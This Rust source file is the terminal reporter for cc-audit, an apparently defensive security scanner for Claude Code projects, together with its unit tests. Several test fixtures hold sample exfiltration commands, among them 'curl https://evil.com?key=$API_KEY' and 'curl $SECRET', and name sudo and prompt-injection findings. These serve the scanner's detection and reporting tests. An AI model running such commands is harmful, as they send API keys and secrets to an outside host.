use crate::reporter::Reporter;
use crate::rules::{Confidence, Finding, RuleSeverity, ScanResult, Severity};
use crate::scoring::RiskLevel;
use colored::Colorize;
fn trim_long_line(code: &str, column: Option<usize>) -> String {
const MAX_LEN: usize = 200;
const CONTEXT: usize = 50;
if code.len() <= MAX_LEN {
return code.to_string();
}
let col = match column {
Some(c) if c > 0 => c - 1, _ => {
let end = code.len().min(100);
return format!("{}...", &code[..end]);
}
};
let start = col.saturating_sub(CONTEXT);
let end = (col + CONTEXT).min(code.len());
let mut trimmed = String::new();
if start > 0 {
trimmed.push_str("...");
}
trimmed.push_str(&code[start..end]);
if end < code.len() {
trimmed.push_str("...");
}
trimmed
}
pub struct TerminalReporter {
strict: bool,
verbose: bool,
show_fix_hint: bool,
friendly: bool,
}
impl TerminalReporter {
pub fn new(strict: bool, verbose: bool) -> Self {
Self {
strict,
verbose,
show_fix_hint: false,
friendly: true, }
}
pub fn with_fix_hints(mut self, show: bool) -> Self {
self.show_fix_hint = show;
self
}
pub fn with_friendly(mut self, friendly: bool) -> Self {
self.friendly = friendly;
self
}
fn severity_color(&self, severity: &Severity) -> colored::ColoredString {
let label = format!("[{}]", severity);
match severity {
Severity::Critical => label.red().bold(),
Severity::High => label.yellow().bold(),
Severity::Medium => label.cyan(),
Severity::Low => label.white(),
}
}
fn confidence_label(&self, confidence: &Confidence) -> colored::ColoredString {
match confidence {
Confidence::Certain => "certain".green(),
Confidence::Firm => "firm".cyan(),
Confidence::Tentative => "tentative".yellow(),
}
}
fn rule_severity_label(&self, rule_severity: &Option<RuleSeverity>) -> colored::ColoredString {
match rule_severity {
Some(RuleSeverity::Error) | None => "[ERROR]".red().bold(),
Some(RuleSeverity::Warn) => "[WARN]".yellow(),
}
}
fn risk_level_color(&self, level: &RiskLevel) -> colored::ColoredString {
let label = level.as_str();
match level {
RiskLevel::Safe => label.green().bold(),
RiskLevel::Low => label.white(),
RiskLevel::Medium => label.cyan().bold(),
RiskLevel::High => label.yellow().bold(),
RiskLevel::Critical => label.red().bold(),
}
}
fn format_finding_friendly(&self, finding: &Finding) -> String {
let mut output = String::new();
let rule_sev_label = self.rule_severity_label(&finding.rule_severity);
let severity_label = self.severity_color(&finding.severity);
let client_prefix = finding
.client
.as_ref()
.map(|c| format!("[{}] ", c).bright_magenta().to_string())
.unwrap_or_default();
let col = finding.location.column.unwrap_or(1);
output.push_str(&format!(
"{}{}:{}:{}: {} {} {}: {}\n",
client_prefix,
finding.location.file,
finding.location.line,
col,
rule_sev_label,
severity_label,
finding.id,
finding.name
));
let line_num = finding.location.line;
let gutter_width = line_num.to_string().len().max(4);
output.push_str(&format!(
"{:>width$} {}\n",
"",
"|".dimmed(),
width = gutter_width
));
let code_display = trim_long_line(&finding.code, finding.location.column);
output.push_str(&format!(
"{:>width$} {} {}\n",
line_num.to_string().cyan(),
"|".dimmed(),
code_display,
width = gutter_width
));
let code_len = finding.code.trim().len().min(60);
let pointer = "^".repeat(code_len.max(1));
output.push_str(&format!(
"{:>width$} {} {}\n",
"",
"|".dimmed(),
pointer.bright_red().bold(),
width = gutter_width
));
output.push_str(&format!(
"{:>width$} {} {}\n",
"",
"=".dimmed(),
format!("why: {}", finding.message).yellow(),
width = gutter_width
));
if !finding.cwe_ids.is_empty() {
output.push_str(&format!(
"{:>width$} {} {}\n",
"",
"=".dimmed(),
format!("ref: {}", finding.cwe_ids.join(", ")).bright_blue(),
width = gutter_width
));
}
output.push_str(&format!(
"{:>width$} {} {}\n",
"",
"=".dimmed(),
format!("fix: {}", finding.recommendation).green(),
width = gutter_width
));
if let Some(ref hint) = finding.fix_hint {
output.push_str(&format!(
"{:>width$} {} {}\n",
"",
"=".dimmed(),
format!("example: {}", hint).bright_green(),
width = gutter_width
));
}
if self.verbose {
output.push_str(&format!(
"{:>width$} {} confidence: {}\n",
"",
"=".dimmed(),
self.confidence_label(&finding.confidence),
width = gutter_width
));
}
output
}
fn format_finding_compact(&self, finding: &Finding) -> String {
let mut output = String::new();
let rule_sev_label = self.rule_severity_label(&finding.rule_severity);
let severity_label = self.severity_color(&finding.severity);
let client_prefix = finding
.client
.as_ref()
.map(|c| format!("[{}] ", c).bright_magenta().to_string())
.unwrap_or_default();
output.push_str(&format!(
"{}{} {} {}: {}\n",
client_prefix, rule_sev_label, severity_label, finding.id, finding.name
));
output.push_str(&format!(
" Location: {}:{}\n",
finding.location.file, finding.location.line
));
let code_display = trim_long_line(&finding.code, finding.location.column);
output.push_str(&format!(" Code: {}\n", code_display.dimmed()));
if self.verbose {
output.push_str(&format!(
" Confidence: {}\n",
self.confidence_label(&finding.confidence)
));
if !finding.cwe_ids.is_empty() {
output.push_str(&format!(
" CWE: {}\n",
finding.cwe_ids.join(", ").bright_blue()
));
}
output.push_str(&format!(" Message: {}\n", finding.message));
output.push_str(&format!(" Recommendation: {}\n", finding.recommendation));
}
if self.show_fix_hint
&& let Some(ref hint) = finding.fix_hint
{
output.push_str(&format!(" Fix: {}\n", hint.bright_green()));
}
output
}
fn format_risk_score(&self, result: &ScanResult) -> String {
let mut output = String::new();
if let Some(ref score) = result.risk_score {
let level_colored = self.risk_level_color(&score.level);
output.push_str(&format!(
"{}\n",
format!(
"━━━ RISK SCORE: {}/100 ({}) ━━━",
score.total, level_colored
)
.bold()
));
output.push('\n');
if !score.by_category.is_empty() {
output.push_str("Category Breakdown:\n");
for cat_score in &score.by_category {
let bar = score.score_bar(cat_score.score, 100);
let category_display = format!("{:20}", cat_score.category);
output.push_str(&format!(
" {}: {:>3} {} ({})\n",
category_display,
cat_score.score,
bar.dimmed(),
cat_score.findings_count
));
}
output.push('\n');
}
}
output
}
}
impl Reporter for TerminalReporter {
fn report(&self, result: &ScanResult) -> String {
let mut output = String::new();
output.push_str(&format!(
"{}\n\n",
format!(
"cc-audit v{} - Claude Code Security Auditor",
result.version
)
.bold()
));
output.push_str(&format!("Scanning: {}\n\n", result.target));
if !result.findings.is_empty() {
output.push_str(&self.format_risk_score(result));
}
let findings_to_show: Vec<_> = if self.strict {
result.findings.iter().collect()
} else {
result
.findings
.iter()
.filter(|f| f.severity >= Severity::High)
.collect()
};
if findings_to_show.is_empty() {
output.push_str(&"No security issues found.\n".green().to_string());
} else {
for finding in &findings_to_show {
if self.friendly {
output.push_str(&self.format_finding_friendly(finding));
} else {
output.push_str(&self.format_finding_compact(finding));
}
output.push('\n');
}
}
output.push_str(&format!("{}\n", "━".repeat(50)));
if result.summary.errors > 0 || result.summary.warnings > 0 {
output.push_str(&format!(
"Summary: {} error(s), {} warning(s) ({} critical, {} high, {} medium, {} low)\n",
result.summary.errors.to_string().red().bold(),
result.summary.warnings.to_string().yellow(),
result.summary.critical.to_string().red().bold(),
result.summary.high.to_string().yellow().bold(),
result.summary.medium.to_string().cyan(),
result.summary.low
));
} else {
output.push_str(&format!(
"Summary: {} critical, {} high, {} medium, {} low\n",
result.summary.critical.to_string().red().bold(),
result.summary.high.to_string().yellow().bold(),
result.summary.medium.to_string().cyan(),
result.summary.low
));
}
let passed = if self.strict {
result.summary.passed && result.summary.warnings == 0
} else {
result.summary.passed
};
let result_text = if passed {
"PASS".green().bold()
} else {
"FAIL".red().bold()
};
output.push_str(&format!(
"Result: {} (exit code {})\n",
result_text,
if passed { 0 } else { 1 }
));
output.push_str(&format!("Elapsed: {}ms\n", result.elapsed_ms));
output
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::rules::{Category, Confidence, Finding, Location, Severity};
use crate::test_utils::fixtures::{create_finding, create_test_result};
#[test]
fn test_report_no_findings() {
let reporter = TerminalReporter::new(false, false);
let result = create_test_result(vec![]);
let output = reporter.report(&result);
assert!(output.contains("No security issues found"));
assert!(output.contains("PASS"));
}
#[test]
fn test_report_with_critical_finding() {
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Network request with environment variable",
"scripts/setup.sh",
42,
);
finding.code = "curl https://evil.com?key=$API_KEY".to_string();
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("EX-001"));
assert!(output.contains("CRITICAL"));
assert!(output.contains("FAIL"));
assert!(output.contains("1 critical"));
}
#[test]
fn test_report_filters_low_severity_in_normal_mode() {
let reporter = TerminalReporter::new(false, false);
let finding = create_finding(
"LOW-001",
Severity::Low,
Category::Overpermission,
"Minor issue",
"test.md",
1,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(!output.contains("LOW-001"));
assert!(output.contains("PASS"));
}
#[test]
fn test_report_shows_all_in_strict_mode() {
let reporter = TerminalReporter::new(true, false);
let finding = create_finding(
"LOW-001",
Severity::Low,
Category::Overpermission,
"Minor issue",
"test.md",
1,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("LOW-001"));
}
#[test]
fn test_report_verbose_mode() {
let reporter = TerminalReporter::new(false, true).with_friendly(false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.code = "curl $SECRET".to_string();
finding.message = "Potential exfiltration".to_string();
finding.recommendation = "Review the command".to_string();
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("Message:"));
assert!(output.contains("Recommendation:"));
}
#[test]
fn test_report_medium_severity() {
let reporter = TerminalReporter::new(true, false);
let finding = create_finding(
"MED-001",
Severity::Medium,
Category::Persistence,
"Medium issue",
"test.md",
5,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("MED-001"));
assert!(output.contains("MEDIUM"));
}
#[test]
fn test_report_high_severity() {
let reporter = TerminalReporter::new(false, false);
let finding = create_finding(
"HIGH-001",
Severity::High,
Category::PromptInjection,
"High issue",
"test.md",
10,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("HIGH-001"));
assert!(output.contains("HIGH"));
assert!(output.contains("FAIL"));
}
#[test]
fn test_report_verbose_shows_confidence() {
let reporter = TerminalReporter::new(false, true).with_friendly(false);
let finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("Confidence:"));
assert!(output.contains("firm"));
}
#[test]
fn test_report_shows_fix_hint() {
let reporter = TerminalReporter::new(false, false)
.with_fix_hints(true)
.with_friendly(false);
let mut finding = create_finding(
"PE-001",
Severity::Critical,
Category::PrivilegeEscalation,
"Sudo execution",
"test.sh",
1,
);
finding.fix_hint = Some("Remove sudo or run with appropriate user permissions".to_string());
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("Fix:"));
assert!(output.contains("Remove sudo"));
}
#[test]
fn test_report_no_fix_hint_when_disabled() {
let reporter = TerminalReporter::new(false, false).with_friendly(false);
let mut finding = create_finding(
"PE-001",
Severity::Critical,
Category::PrivilegeEscalation,
"Sudo execution",
"test.sh",
1,
);
finding.fix_hint = Some("Remove sudo".to_string());
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(!output.contains("Fix:"));
}
#[test]
fn test_report_no_fix_hint_when_none() {
let reporter = TerminalReporter::new(false, false)
.with_fix_hints(true)
.with_friendly(false);
let finding = create_finding(
"PE-001",
Severity::Critical,
Category::PrivilegeEscalation,
"Sudo execution",
"test.sh",
1,
);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(!output.contains("Fix:"));
}
#[test]
fn test_report_verbose_shows_confidence_tentative() {
let reporter = TerminalReporter::new(false, true).with_friendly(false);
let finding = Finding {
id: "EX-001".to_string(),
severity: Severity::Critical,
category: Category::Exfiltration,
confidence: Confidence::Tentative,
name: "Test".to_string(),
location: Location {
file: "test.sh".to_string(),
line: 1,
column: None,
},
code: "curl $SECRET".to_string(),
message: "Test message".to_string(),
recommendation: "Test recommendation".to_string(),
fix_hint: None,
cwe_ids: vec![],
rule_severity: None,
client: None,
context: None,
};
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("Confidence:"));
assert!(output.contains("tentative"));
}
#[test]
fn test_report_verbose_shows_confidence_certain() {
let reporter = TerminalReporter::new(false, true).with_friendly(false);
let finding = Finding {
id: "EX-001".to_string(),
severity: Severity::Critical,
category: Category::Exfiltration,
confidence: Confidence::Certain,
name: "Test".to_string(),
location: Location {
file: "test.sh".to_string(),
line: 1,
column: None,
},
code: "curl $SECRET".to_string(),
message: "Test message".to_string(),
recommendation: "Test recommendation".to_string(),
fix_hint: None,
cwe_ids: vec![],
rule_severity: None,
client: None,
context: None,
};
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("Confidence:"));
assert!(output.contains("certain"));
}
#[test]
fn test_report_with_rule_severity_warn() {
use crate::rules::RuleSeverity;
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test finding",
"test.sh",
1,
);
finding.rule_severity = Some(RuleSeverity::Warn);
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("WARN"));
}
#[test]
fn test_report_with_risk_score_safe() {
use crate::scoring::{RiskLevel, RiskScore, SeverityBreakdown};
let reporter = TerminalReporter::new(true, false); let finding = create_finding(
"LOW-001",
Severity::Low,
Category::Overpermission,
"Minor issue",
"test.md",
1,
);
let mut result = create_test_result(vec![finding]);
result.risk_score = Some(RiskScore {
total: 0,
level: RiskLevel::Safe,
by_severity: SeverityBreakdown {
critical: 0,
high: 0,
medium: 0,
low: 1,
},
by_category: vec![],
});
let output = reporter.report(&result);
assert!(output.contains("RISK SCORE: 0/100"));
assert!(output.contains("SAFE")); }
#[test]
fn test_report_with_risk_score_high() {
use crate::scoring::{CategoryScore, RiskLevel, RiskScore, SeverityBreakdown};
let reporter = TerminalReporter::new(false, false);
let finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
let mut result = create_test_result(vec![finding]);
result.risk_score = Some(RiskScore {
total: 75,
level: RiskLevel::High,
by_severity: SeverityBreakdown {
critical: 1,
high: 0,
medium: 0,
low: 0,
},
by_category: vec![CategoryScore {
category: "exfiltration".to_string(),
score: 40,
findings_count: 1,
}],
});
let output = reporter.report(&result);
assert!(output.contains("RISK SCORE: 75/100"));
assert!(output.contains("HIGH")); assert!(output.contains("Category Breakdown"));
assert!(output.contains("exfiltration"));
}
#[test]
fn test_report_with_risk_score_low_and_medium() {
use crate::scoring::{RiskLevel, RiskScore, SeverityBreakdown};
let reporter = TerminalReporter::new(false, false);
let finding = create_finding(
"HIGH-001",
Severity::High,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
let mut result = create_test_result(vec![finding]);
result.risk_score = Some(RiskScore {
total: 15,
level: RiskLevel::Low,
by_severity: SeverityBreakdown {
critical: 0,
high: 1,
medium: 0,
low: 0,
},
by_category: vec![],
});
let output = reporter.report(&result);
assert!(output.contains("LOW"));
let finding = create_finding(
"HIGH-001",
Severity::High,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
let mut result = create_test_result(vec![finding]);
result.risk_score = Some(RiskScore {
total: 45,
level: RiskLevel::Medium,
by_severity: SeverityBreakdown {
critical: 0,
high: 1,
medium: 0,
low: 0,
},
by_category: vec![],
});
let output = reporter.report(&result);
assert!(output.contains("MEDIUM")); }
#[test]
fn test_report_with_risk_score_critical() {
use crate::scoring::{RiskLevel, RiskScore, SeverityBreakdown};
let reporter = TerminalReporter::new(false, false);
let finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
let mut result = create_test_result(vec![finding]);
result.risk_score = Some(RiskScore {
total: 95,
level: RiskLevel::Critical,
by_severity: SeverityBreakdown {
critical: 1,
high: 0,
medium: 0,
low: 0,
},
by_category: vec![],
});
let output = reporter.report(&result);
assert!(output.contains("CRITICAL")); }
#[test]
fn test_report_friendly_mode_default() {
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.code = "curl $SECRET".to_string();
finding.message = "Potential exfiltration".to_string();
finding.recommendation = "Review the command".to_string();
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("test.sh:1:1:")); assert!(output.contains("^")); assert!(output.contains("why:")); assert!(output.contains("fix:")); }
#[test]
fn test_report_friendly_mode_shows_cwe_refs() {
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.cwe_ids = vec!["CWE-200".to_string(), "CWE-319".to_string()];
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("ref:"));
assert!(output.contains("CWE-200"));
assert!(output.contains("CWE-319"));
}
#[test]
fn test_report_friendly_mode_with_fix_hint() {
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"PE-001",
Severity::Critical,
Category::PrivilegeEscalation,
"Sudo execution",
"test.sh",
1,
);
finding.fix_hint = Some("Remove sudo".to_string());
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(output.contains("example:"));
assert!(output.contains("Remove sudo"));
}
#[test]
fn test_report_compact_mode_explicit() {
let reporter = TerminalReporter::new(false, false).with_friendly(false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.message = "Potential exfiltration".to_string();
let result = create_test_result(vec![finding]);
let output = reporter.report(&result);
assert!(!output.contains("Why:"));
assert!(output.contains("Location:"));
assert!(output.contains("Code:"));
}
#[test]
fn test_strict_mode_fails_on_warnings_only() {
let reporter = TerminalReporter::new(true, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.rule_severity = Some(RuleSeverity::Warn);
let mut result = create_test_result(vec![finding]);
result.summary.passed = true;
result.summary.errors = 0;
result.summary.warnings = 1;
let output = reporter.report(&result);
assert!(output.contains("FAIL"));
assert!(output.contains("exit code 1"));
}
#[test]
fn test_non_strict_mode_passes_on_warnings_only() {
let reporter = TerminalReporter::new(false, false);
let mut finding = create_finding(
"EX-001",
Severity::Critical,
Category::Exfiltration,
"Test",
"test.sh",
1,
);
finding.rule_severity = Some(RuleSeverity::Warn);
let mut result = create_test_result(vec![finding]);
result.summary.passed = true;
result.summary.errors = 0;
result.summary.warnings = 1;
let output = reporter.report(&result);
assert!(output.contains("PASS"));
assert!(output.contains("exit code 0"));
}
#[test]
fn test_trim_long_line_short_line() {
let short = "This is a short line";
assert_eq!(trim_long_line(short, Some(5)), short);
}
#[test]
fn test_trim_long_line_at_start() {
let long = "a".repeat(250);
let trimmed = trim_long_line(&long, Some(10));
assert!(trimmed.starts_with("aaaa"));
assert!(trimmed.ends_with("..."));
assert!(!trimmed.starts_with("..."));
assert!(trimmed.len() < 150); }
#[test]
fn test_trim_long_line_in_middle() {
let long = "a".repeat(100) + "MATCH" + &"b".repeat(100);
let trimmed = trim_long_line(&long, Some(105)); assert!(trimmed.starts_with("..."));
assert!(trimmed.ends_with("..."));
assert!(trimmed.contains("MATCH"));
assert!(trimmed.len() < 150);
}
#[test]
fn test_trim_long_line_at_end() {
let long = "a".repeat(250);
let trimmed = trim_long_line(&long, Some(240));
assert!(trimmed.starts_with("..."));
assert!(trimmed.ends_with("aaaa"));
assert!(!trimmed.ends_with("..."));
assert!(trimmed.len() < 150);
}
#[test]
fn test_trim_long_line_no_column() {
let long = "a".repeat(250);
let trimmed = trim_long_line(&long, None);
assert!(!trimmed.starts_with("..."));
assert!(trimmed.ends_with("..."));
assert!(trimmed.len() <= 103); }
}